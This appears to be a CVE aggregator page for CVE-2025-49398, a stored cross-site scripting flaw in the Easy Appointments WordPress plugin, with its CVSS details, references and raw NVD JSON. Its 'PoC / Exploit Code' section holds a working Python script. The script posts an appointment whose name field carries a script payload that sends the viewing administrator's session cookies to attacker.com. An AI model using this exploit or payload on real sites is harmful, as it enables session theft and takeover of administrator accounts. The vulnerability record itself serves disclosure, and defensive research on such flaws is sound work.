CVE-2025-49398

Description

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Easy Appointments Easy Appointments easy-appointments allows Code Injection.This issue affects Easy Appointments: from n/a through <= 3.12.14.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Easy Appointments <= 3.12.14

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests # CVE-2025-49398 PoC - Stored XSS in Easy Appointments # Target: WordPress site with Easy Appointments plugin <= 3.12.14 target_url = "http://target-wordpress-site.com" # XSS payload - steals session cookies xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' # Submit appointment with XSS payload appointment_data = { 'ea_name': xss_payload, 'ea_email': '[email protected]', 'ea_phone': '1234567890', 'ea_service': '1', 'ea_provider': '1', 'ea_date': '2025-12-01', 'ea_time': '09:00', 'ea_message': 'Test appointment' } response = requests.post( f"{target_url}/wp-json/ea/v1/appointments", json=appointment_data, headers={'Content-Type': 'application/json'} ) print(f"Status: {response.status_code}") print(f"XSS payload submitted successfully") print(f"Payload will execute when admin views appointment list")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49398
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49398
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49398/
[4] VulDB https://vuldb.com/cve/CVE-2025-49398
[5] https://patchstack.com/database/Wordpress/Plugin/easy-appointments/vulnerability/wordpress-easy-appointments-plugin-3-12-14-content-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-49398", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:53.890", "lastModified": "2026-04-27T20:16:15.283", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Easy Appointments Easy Appointments easy-appointments allows Code Injection.This issue affects Easy Appointments: from n/a through <= 3.12.14."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/easy-appointments/vulnerability/wordpress-easy-appointments-plugin-3-12-14-content-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}